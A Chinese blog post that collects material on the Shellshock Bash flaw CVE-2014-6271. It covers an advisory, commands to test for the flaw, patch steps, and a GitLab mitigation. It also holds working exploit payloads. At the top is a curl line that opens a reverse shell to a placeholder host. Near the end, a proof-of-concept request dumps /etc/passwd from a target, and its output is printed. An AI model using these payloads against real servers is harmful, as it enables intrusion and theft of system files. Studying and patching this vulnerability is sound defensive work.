最新消息:

GNU Bash环境变量远程任意代码执行漏洞CVE-2014-6271

安全知识 admin 5884浏览 0评论

ps:利用payload

curl http://xxx.xxx.xxx.xxx/cgi-bin/vulnerable -A "() { :;}; /bin/sh -i >& /dev/tcp/REVERSE_SHELL_IP/PORT 0>&1"

发布日期:2014-09-25

CVE ID:CVE-2014-6271

受影响的软件及系统:
====================
GNU Bash <= 4.3

综述:
======
GNU Bash(Bourne again shell)要类似UNIX的shell,广泛使用在Linux系统内,最初的功能仅是一个简单的基于终端的命令解释器。GNU Bash 4.3及之前版本在处理某些构造的环境变量时存在安全漏洞,可能允许攻击者远程执行任意命令。

分析:
======
GNU Bash 4.3及之前版本在处理某些构造的环境变量时存在安全漏洞,向环境变量值内的函数定义后添加多余的字符串会触发此漏洞,攻击者可利用此漏洞改变或绕过环境 限制,以执行shell命令。某些服务和应用允许未经身份验证的远程攻击者提供环境变量以利用此漏洞。此漏洞源于在调用bash shell之前可以用构造的值创建环境变量。这些变量可以包含代码,在shell被调用后会被立即执行。
此漏洞可能会影响到使用ForceCommand功能的OpenSSH sshd、使用mod_cgi或mod_cgid的Apache服务器、DHCP客户端、其他使用bash作为解释器的应用等。

目前认为使用mod_php/mod_python/mod_perl的Apache httpd不受此问题影响。

测试方法:
==========
本地验证bash是否受影响的方法:

$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
 vulnerable
 this is a test

如果显示上述信息,则受影响。

$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
 bash: warning: x: ignoring function definition attempt
 bash: error importing function definition for `x'

如果显示上述信息,则不受影响。

厂商状态:
==========
GNU

目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://www.gnu.org/software/bash
http://ftp.gnu.org/gnu/bash/

各大Linux发行版也已经提供了相关补丁,请及时升级。

受影响的系统包括:

红帽系可通过更新 bash 并重启系统来解决这个问题:

# yum update bash

或者:

# yum update bash-4.1.2-15.el6_5.1

此举只是更新了 bash 包,还需要重启系统才能生效。

Ubuntu 用户可以通过如下命令打补丁,无需重启:

apt-get update
apt-get install bash

附加信息:
==========
1. https://bugzilla.redhat.com/show_bug.cgi?id=1141597
2. https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/
3. https://bugzilla.redhat.com/attachment.cgi?id=938976
4. http://www.nsfocus.net/vulndb/27942

 

BASH漏洞初挖掘

最近,BASH爆出来一个远程代码执行的漏洞CVE-2014-6271。

BASH除了可以将shell变量导出为环境变量,还可以将shell函数导出为环境变量!当前版本的bash通过以函数名作为环境变量名,以”(){“开头的字串作为环境变量的值来将函数定义导出为环境变量。

此次爆出的漏洞在于BASH处理这样的“函数环境变量”的时候,并没有以函数结尾“}”为结束,而是一直执行其后的shell命令!例如

jinglingshu_2014-09-25_12-43-14

    目前,接受HTTP命令的CGI Shell脚本是最主要的被攻击对象。一个常见的HTTP请求是这样:

GET /path?query-param-name=query-param-value HTTP/1.1
Host: www.example.com
Custom: custom-header-value

 CGI标准将http请求的所有部分都映射到了环境变量。例如对于Apache的Httpd,字串(){可以出现在以下这些地方:

* Host ("www.example.com", as REMOTE_HOST)
* Header value ("custom-header-value", as HTTP_CUSTOM in this example)
* Server protocol ("HTTP/1.1", as SERVER_PROTOCOL)

通过自定义这些参数的值为“函数环境变量”的形式,就可以远程执行命令!!!例如:

curl -H User-Agent: () { :;}; echo fuck you!   http://xxxxx/victim.sh

    此外,OpenSSH也因其AcceptEnv、TERM、SSH_ORIGINAL_COMMAND等环境变量受此漏洞影响。目前还有更多的受影响程序和利用方式正在不断地被发掘出来!

消息来源:http://seclists.org/oss-sec/2014/q3/649

Gitlab-shell 受 Bash CVE-2014-6271 漏洞影响

今天 US-CERT 公布了一个严重的 Bash 安全漏洞 (CVE-2014-6271) ,该漏洞同时也影响 OpenSSH 守护进程。而 Gitlab 服务器默认的 git 账号就是使用 Bash 用来执行远程的代码。攻击者只要有 SSH key 就可以利用这个漏洞在 Gitlab 服务器执行任意代码。

检测服务器是否存在这个漏洞的方法:

ssh git@gitlab.example.com '() { ignored; }; /usr/bin/id'

如果输出下面内容表示服务器存在此漏洞:

uid=1001(git) gid=1001(git) groups=1001(git)

如果你看到的是 Not allowed command 说明不存在此漏洞。

解决办法是升级 Bash,请参考这篇文章
解决完请再通过上述代码测试是否存在漏洞。
你也可以将 shell 改为 csh,安装:

sudo apt-get install csh

如果你正在使用 omnibus-gitlab, 只需要将下面一行代码添加到 /etc/gitlab/gitlab.rb 文件然后运行 sudo gitlab-ctl reconfigure 即可:

user['shell'] = '/bin/csh'

如果你是通过源码方式安装,可使用如下命令来更改 shell:

sudo chsh -s /bin/csh git

再次测试看看漏洞是否解决。

如果因为某些原因导致上面的方法你都不能使用,你可以禁用 git 用户通过 SSH 连接服务器,只需要在 /etc/ssh/sshd_config 增加 DenyUsers git,然后重启 SSH 服务即可,这样会导致无法通过 SSH 方式 Push 代码。

git.oschina.net 已经解决了这个漏洞,请大家放心使用。

 

———————————————————————————————————————————————

体验程序:

poc.cgi

#!/bin/bash
echo "Content-type: text/html"
echo ""
echo '<html>'
echo '<head>'
echo '<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">'
echo '<title>PoC</title>'
echo '</head>'
echo '<body>'
echo '<pre>'
/usr/bin/env
echo '</pre>'
echo '</body>'
echo '</html>'
exit 0

poc:

$ curl -A '() { :; }; /bin/cat /etc/passwd > dumped_file' http://192.168.0.1/poc.cgi

 

< !DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> 
<html><head> 
<title>500 Internal Server Error</title> 
</head><body> 
<h1>Internal Server Error</h1> 
<p>The server encountered an internal error or 
misconfiguration and was unable to complete 
your request.</p> 
<p>Please contact the server administrator, 
webmaster@localhost and inform them of the time the error occurred, 
and anything you might have done that may have 
caused the error.</p> 
<p>More information about this error may be available 
in the server error log.</p> 
<hr /> 
<address>Apache/2.2.22 (Debian) Server at 192.168.0.1 Port 80</address> 
</body></html>
$ curl http://192.168.0.1/dumped_file
root:x:0:0:root:/root:/bin/bash 
daemon:x:1:1:daemon:/usr/sbin:/bin/sh 
bin:x:2:2:bin:/bin:/bin/sh 
sys:x:3:3:sys:/dev:/bin/sh 
sync:x:4:65534:sync:/bin:/bin/sync 
games:x:5:60:games:/usr/games:/bin/sh 
man:x:6:12:man:/var/cache/man:/bin/sh 
lp:x:7:7:lp:/var/spool/lpd:/bin/sh 
mail:x:8:8:mail:/var/mail:/bin/sh 
news:x:9:9:news:/var/spool/news:/bin/sh 
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh 
proxy:x:13:13:proxy:/bin:/bin/sh 
www-data:x:33:33:www-data:/var/www:/bin/sh 
backup:x:34:34:backup:/var/backups:/bin/sh 
list:x:38:38:Mailing List Manager:/var/list:/bin/sh 
irc:x:39:39:ircd:/var/run/ircd:/bin/sh 
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh 
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh 
libuuid:x:100:101::/var/lib/libuuid:/bin/sh 
Debian-exim:x:101:103::/var/spool/exim4:/bin/false 
statd:x:102:65534::/var/lib/nfs:/bin/false 
sshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin

相关链接:
http://marc.info/?l=oss-security&m=141157106132018&w=2
http://www.reddit.com/r/netsec/comments/2hbxtc/cve20146271_remote_code_execution_through_bash/
https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/
http://seclists.org/oss-sec/2014/q3/650
http://blog.erratasec.com/2014/09/bash-bug-as-big-as-heartbleed.html#.VCNKRufIZWN
http://pastebin.com/8NRv7s1Z
http://pastebin.com/kQ5ppEZD
http://www.csoonline.com/article/2687265/application-security/remote-exploit-in-bash-cve-2014-6271.html
http://permalink.gmane.org/gmane.comp.security.oss.general/13852?utm_source=twitterfeed&utm_medium=twitter

PS:ModSecurity声称已经针对CVE-2014-6271完善了过滤规则。

ps:测试的两个要点,一是 cgi 程序里需要创建子进程,第二是环境变量可控。环境变量可以用 useragent,querystring, x-forward-for 等多个 http 特性进行污染。测试的时候请使用 curl 而不是浏览器,以免 payload 被 urlencode 转义。

转载请注明:jinglingshu的博客 » GNU Bash环境变量远程任意代码执行漏洞CVE-2014-6271

发表我的评论
取消评论

表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址